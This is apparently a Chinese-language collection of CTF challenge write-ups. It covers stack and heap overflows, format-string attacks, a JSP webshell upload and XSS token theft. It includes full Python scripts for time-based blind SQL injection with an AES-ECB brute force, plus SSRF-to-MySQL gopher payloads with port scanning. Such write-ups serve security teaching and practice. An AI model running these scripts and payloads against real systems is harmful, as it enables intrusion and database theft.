1. 分析程序
分析程序,就可以发现在最后一步修改自我介绍的时候,用的是snprintf的返回值。其值的大小可以超过缓冲区的大小,造成栈溢出
2. rettolibc利用
首先通过rop去调用puts来进行leak。可以使用pwntools的dynelf模块来确定system函数的地址。然后在调用read函数,这样可以输入/bin/sh字符串到程序的内存中。最后再调用system函数获取shell
1. 爆破密钥
随机数的种子为从urandom中出来2个字节。可以使用枚举的方法来猜测种子。用种子生成的密钥来解密第一次接受到的流量。如果正确就可以得知种子。
2. 解八元一次方程组
一个比较简单的八元一次方程组。可以用matlab或者python或者手算来解出方程组的解。解即为passcode。输入passcode来开始正式的流程
3. 堆溢出攻击
堆上有一个off-by-one漏洞。因为申请的内存的大小是任意的。所以可以直接利用off-by-one的经典利用方式来触发unlink,从而获取shell
1. 分析程序
分析程序,就可以发现在创建Marine的时候。再选择升级的时候如果选择的错误的选项。会造成格式化字符串为初始化。我们可以通过创建再删除一个Zealot结构体来实现构造内存。达到执行任意格式化串
2. Leak与任意写
行为可以反复执行格式化字符串,所以只需要先leak出栈上的libc返回地址,然后再通过栈上的ebp指针来在栈上布置指针,再通过栈上实现布置的指针来完成任意地址写。然后就可以改写got表项来调用system函数了
这题名字写了simple,就真不会很难,考验的是jsp木马
主页这样,随便登录都是访问这页,使用burpsuite
尝试2次后发现了Cookie被设置了admin=0,把0改为1再发包即可
就会跳转到upload界面(如果你不是admin,怎么上传都没用)
这里就要思考,到底要上传什么?
以前比赛太多php题,这次我们制作了一个jsp题目,然后如何判断是jsp,简单得很,随便乱输
可以知道是apachetomcat/8.5.30,所以尝试上传jsp木马
当然也是使用burpsuite来改包
随便找个常见的023.jsp木马,这里把application/octet-stream修改为image/jpeg即可,可见这题限制很少,还是属于simple
得到文件的上传地址后,访问它,并构造命令即可
本次本题是采用i春秋的容器技术,并且支持动态flag,每一次容器下发的flag都是不同的
看到网页源码能直接看到需要site
修改host:www.tmvb.com
然后看到只允许www.dmm.com跳转, 修改referer
referer:www.dmm.com
然后看到跳转la_err,
修改language,
拿到跳转页面
看到宝贝查询页面
然后四位数爆破,看到是六位丧心病狂的md5要求爆破四位数,直接跑个彩虹表再查表跑,hint放出后直接从9999往前跑,跑出结果是9588
注册,提交XSS
提交后启动接get方法的服务
成功拿到管理员tokenA4Wv4fv5nBoAI5q3zX3PNmHILPzLKN3g
直接改cookie,刷新页面(show_text要删掉才会刷新页面内容)
尝试获取flag
有每分钟才能试一次的限制,没法爆破
Base64解码页面内容
清掉cookie回到登录页面,查看html内容
登录方法是往服务端 发post请求, 参数是 username 和 password, route是 /login
明显有sql 延时注入的漏洞
写脚本爆数据库
1. # coding=utf-8
2. import requests
3. import json
4. from datetime import datetime, timedelta
5. from Task.Task import TaskGroup
6.
7. # SERVER = "https://172.18.183.125:8412"
8. # SERVER = 'https://127.0.0.1:8412'
9. SERVER = "https://localhost:32768"
10.def sqlinject_request(sql, dt=0.1):
11. data = {"username":"\' union all select ((%s) and sleep(%s)) #" % (sql, dt), "password":""}
12. # print data
13. PATH = "/login"
14. start_time = datetime.now()
15. requests.post(SERVER + PATH, data=json.dumps(data)).json()
16. end_time = datetime.now()
17. if (end_time - start_time).total_seconds() > dt:
18. return True
19. else:
20. return False
21.
22.def search(sql, max_test, dt=0.03):
23. cur = max_test
24. while not sqlinject_request(sql % cur, dt):
25. cur /= 2
26. l = cur
27. r = cur * 2
28. while r - l > 1:
29. cur = (l + r) / 2
30. if sqlinject_request(sql % cur, dt):
31. l = cur
32. else:
33. r = cur
34. return r
35.
36.def search_table_number(max_test=1000):
37. sql = """
38. (
39. select
40. count(table_name)
41. from
42. information_schema.tables
43. where
44. table_schema = database()
45. ) > %d
46. """
47. return search(sql, max_test)
48.
49.def search_table_name_length(offset, max_test=256):
50. sql = """
51. length(
52. substr(
53. (
54. select table_name
55. from information_schema.tables
56. where table_schema=database()
57. limit {offset},1
58. )
59. ,1
60. )
61. ) > %d
62. """.format(offset=offset)
63. return search(sql, max_test)
64.
65.def search_table_name_char(table_offset, char_offset, max_test=256):
66. sql = """
67. ascii(
68. substr(
69. (
70. select table_name
71. from information_schema.tables
72. where table_schema=database()
73. limit {table_offset},1)
74. ,{char_offset}
75. ,1
76. )
77. ) > %d
78. """.format(table_offset=table_offset, char_offset=char_offset+1)
79. return chr(search(sql, max_test))
80.
81.def search_column_numbers(table_name, max_test=256):
82. sql = """
83. (
84. select
85. count(column_name)
86. from
87. information_schema.columns
88. where
89. table_schema = database()
90. and
91. table_name = '{table_name}'
92. ) > %d
93. """.format(table_name=table_name)
94. return search(sql, max_test)
95.
96.def search_column_length(table_name, offset, max_test=256):
97. sql = """
98. length(
99. substr(
100. (
101. select
102. column_name
103. from
104. information_schema.columns
105. where
106. table_schema = database()
107. and
108. table_name = '{table_name}'
109. limit {offset}, 1
110. ),
111. 1
112. )
113. ) > %d
114. """.format(table_name=table_name, offset=offset)
115. return search(sql, max_test)
116.
117.def search_column_name(table_name, col_offset, chr_offset, max_test=256):
118. sql = """
119. ascii(
120. substr(
121. (
122. select
123. column_name
124. from
125. information_schema.columns
126. where
127. table_schema = database()
128. and
129. table_name = '{table_name}'
130. limit {col_offset}, 1
131. ),
132. {chr_offset},1
133. )
134. ) > %d
135. """.format(table_name=table_name, col_offset=col_offset, chr_offset=chr_offset+1)
136. return chr(search(sql, max_test))
137.
138.# 获取字段按分组的值的数量
139.def search_group_column_cnt(table_name, col_name, max_test=65536):
140. sql = """
141. (
142. select
143. count(distinct `{col}`)
144. from
145. `{tbl}`
146. ) > %d
147. """.format(col=col_name, tbl=table_name)
148. return search(sql, max_test)
149.
150.def search_column_value_size(tbl, col, where_str="", max_test=65536):
151. sql = """
152. (
153. select
154. length(group_concat(`{col}`))
155. from
156. `{tbl}`
157. where
158. 1 = 1
159. {where}
160. ) > %d
161. """.format(tbl=tbl, col=col, where=" and " + where_str)
162. return search(sql, max_test)
163.
164.def search_column_value_char(tbl, col, offset, where_str, max_test=256):
165. sql = """
166. ascii(
167. (
168. select
169. substr(group_concat(`{col}`), {offset}, 1)
170. from
171. `{tbl}`
172. where
173. 1 = 1
174. {where}
175. )
176. ) > %d
177. """.format(tbl=tbl, col=col, offset=offset+1, where = " and " + where_str)
178. # print sql
179. return chr(search(sql, max_test))
180.
181.def main():
182. table_cnt = search_table_number()
183. table_name_list = []
184. for i in xrange(table_cnt):
185. table_name_size = search_table_name_length(i)
186. cur_table_name = ""
187. for j in xrange(table_name_size):
188. cur_table_name += search_table_name_char(i, j)
189. print cur_table_name
190. col_list = []
191. col_cnt = search_column_numbers(cur_table_name)
192. for j in xrange(col_cnt):
193. cur_col_length = search_column_length(cur_table_name, j)
194. cur_col_name = ""
195. for k in xrange(cur_col_length):
196. cur_col_name += search_column_name(cur_table_name, j, k)
197. print cur_table_name, cur_col_name
198. col_list.append(cur_col_name)
199. table_name_list.append({cur_table_name:col_list})
200.
201. print "get table done"
202. for item in table_name_list:
203. print item
可以看到一共四张表,看名字基本锁定管理员信息在 user_info中,爆破其中有用的字段, id_card_number, age,native_place, create_time
(age有坑 不是实时更新的,需要根据create time去判断出生年月日)
1. def main2():
2. ret = {}
3. print search_group_column_cnt('user_info', 'role')
4. user_name = 'admin'
5. for col in ["id_card_number", "age", "native_place", 'create_time']:
6. sz = search_column_value_size('user_info', col, 'name = \'%s\'' % user_name)
7. val = ""
8. print sz
9. for i in xrange(sz):
10. val += search_column_value_char('user_info', col, i, 'name = \'%s\'' % user_name)
11. print val
12. print col, val
13. ret[col] = val
14. print "done"
15. for k, v in ret.items():
16. print k, ": ", v
身份证号直接BASE64decode发现是乱码
籍贯是北京市海淀区
17年2月10日创建时年龄是21, 说明出生日期范围是 1995年2月10日~1996年2月10日
由此,身份证前6位为110108,7~14位范围可确定共 356种可能,
根据之前的提示,可以认为身份证号被AES算法ECB模式加密了,这使得爆破是可能的
故重新注册账号,验证是否可爆破
test1的加密结果
test2的加密结果
可见两次加密结果不同,可能是加了盐,尝试注册时减小身份证号长度
加密结果
加密结果
加密结果
可见,身份证号16位时加密结果明显比15位和14位时长,说明加了1个字节的盐
所以前15位身份证号爆破的命中率为 1/365*10*256,是可能进行的
后3位爆破命中率为 1/10*10*256 更容易了
思路确定,查看注册页面的API
可以看到向服务端发送的是一个列表,猜测是批量注册的接口,那么可以快速的去注册,实施爆破
1. def register(data):
2. data = {
3. "data": data
4. }
5. try:
6. res = requests.post(SERVER + "/register", data=json.dumps(data)).json()
7. except:
8. print str(traceback.format_exc())
9. return False
10. if res.get('code') == 200:
11. return True
12. print res
13. return False
14.
15.def register_one(name, password, id_num, native_place=""):
16. return {
17. "username" : name,
18. "password" : password,
19. "id_num" : id_num,
20. "native_place": native_place
21. }
22.
23.
24.# 全量注册一轮, 求前15位
25.def boom_register_1(name_suffix):
26. start_time = datetime(1995, 2, 10)
27. end_time = datetime(1996, 2, 10)
28. reg_data = []
29. while start_time < end_time:
30. for i in xrange(10):
31. cur = "110108%s%s" % (start_time.strftime("%Y%m%d"), i)
32. name = "%s%s" % (cur, name_suffix)
33. reg_data.append(register_one(name, name, cur))
34. start_time += timedelta(days=1)
35. register(reg_data)
36.
37.
38.def boom_register_2(prefix, name_suffix):
39. def id_check_num(pre):
40. ID_CHECK_COEF = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
41. ID_CHECK_NUMBER = ['1', '0', 'x', '9', '8', '7', '6', '5', '4', '3', '2']
42. ret = 0
43. for i in xrange(17):
44. ret += int(pre[i]) * ID_CHECK_COEF[i]
45. ret %= 11
46. return ID_CHECK_NUMBER[ret]
47. reg_data = []
48. for i in xrange(10):
49. for j in xrange(10):
50. pre = prefix + "%s%s" % (i, j)
51. check = id_check_num(pre)
52. cur = pre + check
53. name = cur + name_suffix
54. reg_data.append(register_one(name, name, cur))
55. if check == 'x':
56. check = 'X'
57. cur = pre + check
58. name = cur + name_suffix
59. reg_data.append(register_one(name, name, cur))
60. register(reg_data)
61.
62.AES_1_SEARCH_STR = """
63. substr(hex(from_base64(`id_card_number`)), 1, 32) = (
64. select
65. substr(hex(from_base64(`id_card_number`)), 1, 32)
66. from
67. `user_info`
68. where
69. name = 'admin'
70. )
71. and
72. name != 'admin'
73."""
74.
75.AES_2_SEARCH_STR = """
76. substr(hex(from_base64(`id_card_number`)), 33, 32) = (
77. select
78. substr(hex(from_base64(`id_card_number`)), 33, 32)
79. from
80. `user_info`
81. where
82. name = 'admin'
83. )
84. and
85. name != 'admin'
86."""
87.
88.def check_aes_1():
89. sql = """
90. (
91. select
92. count(1)
93. from
94. `user_info`
95. where
96. {where}
97. ) > 0
98. """.format(where=AES_1_SEARCH_STR)
99. # print sql
100. return sqlinject_request(sql, 0.5)
101.
102.def check_aes_2():
103. sql = """
104. (
105. select
106. count(1)
107. from
108. `user_info`
109. where
110. {where}
111. ) > 0
112. """.format(where=AES_2_SEARCH_STR)
113. # print sql
114. return sqlinject_request(sql, 0.5)
115.
116.def get_aes_1_value(offset):
117. sql = """
118. ascii(
119. substr(
120. (
121. select
122. name
123. from
124. `user_info`
125. where
126. {where}
127. limit 1
128. ), {offset},1
129. )
130. ) > %d
131. """.format(where=AES_1_SEARCH_STR, offset=offset+1)
132. ret = search(sql, 128, 1)
133. return chr(ret)
134.
135.def get_aes_2_value(offset):
136. sql = """
137. ascii(
138. substr(
139. (
140. select
141. name
142. from
143. `user_info`
144. where
145. {where}
146. limit 1
147. ), {offset},1
148. )
149. ) > %d
150. """.format(where=AES_2_SEARCH_STR, offset=offset + 16)
151. ret = search(sql, 128, 1)
152. return chr(ret)
153.
154.
155.
156.def main3():
157. cnt = 0
158. while not check_aes_1():
159. print datetime.now(), "当前第%d轮" % cnt
160. tasks = TaskGroup()
161. for i in xrange(8):
162. tasks.append_task(boom_register_1, "%sand%s" % (cnt, i))
163. cnt += 1
164. tasks.wait()
165. print datetime.now(), "已找到"
166. aes_1 = ""
167. for i in xrange(15):
168. aes_1 += get_aes_1_value(i)
169. print aes_1
170. print aes_1
171. # print check_ase_1()
172. cnt = 0
173. while not check_aes_2():
174. print datetime.now(), "当前第%d轮" % cnt
175. tasks = TaskGroup()
176. for i in xrange(8):
177. tasks.append_task(boom_register_2, aes_1, "%sand%s" % (cnt, i))
178. cnt += 1
179. tasks.wait()
180. print datetime.now(), "已找到"
181. for i in xrange(3):
182. aes_1 += get_aes_2_value(i)
183. print aes_1
184. print aes_1
185.
186.if __name__ == "__main__":
187. main3()
其中taskgroup是一个多线程的封装抽象,不在此复制代码了
切换回管理员页面,输入身份证后八位,获取flag
首先看到
发现page参数,尝试读源码,这里利用的是另外一个不含read的payload,有read的话没回显,算是一个简单的waf。
index.php?page=php:https://filter/convert.base64-encode/resource=login.php
拿到部分源码
<?php
session_start();
#include_once("conn.php");
error_reporting(0);
if(isset($_POST["email"])&&isset($_POST["password"])){
$_SESSION['login']=1;
header("Location: index.php?page=send.php");
exit();
}
?>
ps:这里没有考查点,所以代码也没有连接数据库,防止产生一些非预期解。
这里看到有个conn.php,读出来
<?php
$db_host = 'mysql';
$db_name = 'user_admin';
$db_user = 'Dog';
$db_pwd = '';
$conn = mysqli_connect($db_host,$db_user, $db_pwd, $db_name);
if(!$conn){
die(mysqli_connect_error());
}
发现这个conn.php并不正确,host并没有给。
继续尝试登陆之后看一下
明显的ssrf,但是没有回显,读出源码来看一下
<?php
error_reporting(0);
if (@$_POST['url']) {
$url = @$_POST['url'];
if(preg_match("/^http(s?):\/\/.+/", $url)){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER|CURLPROTO_HTTP|CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
}
?>
发现只能提交http或者https协议的url,但是发现了两个敏感的地方
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,True);
curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER|CURLPROTO_HTTP|CURLPROTO_HTTPS);
这里是跟随跳转,并且允许了跳转后的gopher协议,那么可以利用302跳转来进行ssrf攻击。
这里想到之前读到的conn.php,给了数据库用户名而且还没有密码,可以想到ssrf打mysql攻击姿势。
尝试打一下本地的3306端口,发现页面并没有延时,猜测可能mysql换了端口,这也说明了读到的conn.php为啥没有给host。
写个脚本端口探测一下:
# -*- coding: utf-8 -*-
import urllib
import requests
import time
url ="https://192.168.190.128:999/index.php?page=send.php"
data = {
"url":"https://192.168.190.1/mysqlexp/port.php"
}
Cookies = {
'PHPSESSID':'38uljcr54b2pmf03f9a8fif4f5'
}
for i in range(81,65535):
payload = '<?php\nheader("Location:gopher:https://127.0.0.1:{0}/");\n?>'.format(i)
with open("port.php","wb") as file:
file.write(payload)
start = time.time()
content = requests.post(url=url,data=data,cookies=Cookies).text
end = time.time()
print i
print end-start
if end - start > 2:
print i
exit()
可以探测到1111端口。
最近网上关于ssrf打mysql的分析文章挺多的,不再细说。
这里我构造payload并没有用wireshark抓包去构造,在网上找到了一位师傅写好的脚本,既然轮子已经造好了没必要再浪费时间了,改了改脚本如下:
既然知道了用户名和数据库名,就可以利用ssrf去打未授权访问的Mysql数据库,因为没有回显,所以要利用时间盲注。
另外如果观察仔细的话会发现
这里可以有个sql文件下载 ,下载下来拿到
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) DEFAULT NULL,
`password` varchar(32) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULTCHARSET=utf8;
表的结构,也就是说admin表 username和password字段。
这里就得先在本地创建一个相同的数据结构,如果能找到上面那个脚本的话可以利用上面那个脚本去生成个payload,当然找不到也没关系,网上有很多介绍payload是怎么构造的。
利用wireshark抓包构造payload,网上的分析文章有细说,不再赘述。
ps :https://paper.seebug.org/510/
这里需要知道连接阶段的数据内容是相同的,也就是只需要修改命令阶段的数据就可以写脚本攻击了。
ps:测试的时候记得加上cookie,自己抓包修改一下。
脚本如下:
# -*- coding: utf-8 -*-
import urllib
import requests
import time
url ="https://192.168.190.128:121/index.php?page=send.php"
data = {
"url":"https://192.168.190.1/mysqlexp/302.php"
}
Cookies = {
'PHPSESSID':'h52qprlje2jen79cantjsfjk27'
}
ss ="qwertyuiopasdfghjklzxcvbnm{}"
flag = ''
for i in range(1,33):
print i
for j in range(48,126):
send = "select if(ascii(substr((select password from admin whereid=1),%d,1))=%d,sleep(3),1)" % (i,j)
if i < 13:
payload ='<?php\nheader("Location:gopher:https://127.0.0.1:1111/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00Dog%00%00user_admin%00U%00%00%00%03{0}%00%00%00%00");\n?>'.format(urllib.quote(send))
else:
payload ='<?php\nheader("Location:gopher:https://127.0.0.1:1111/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00Dog%00%00user_admin%00V%00%00%00%03{0}%00%00%00%00");\n?>'.format(urllib.quote(send))
with open("302.php","wb") as file:
file.write(payload)
start = time.time()
content = requests.post(url=url,data=data,cookies=Cookies).content
end = time.time()
print send
if end - start >= 3:
print end - start
flag += chr(j)
print flag
break
这里需要注意的就是在盲注第13位的时候payload会发生变化,重新构造一下payload。
(图中flag只是示例)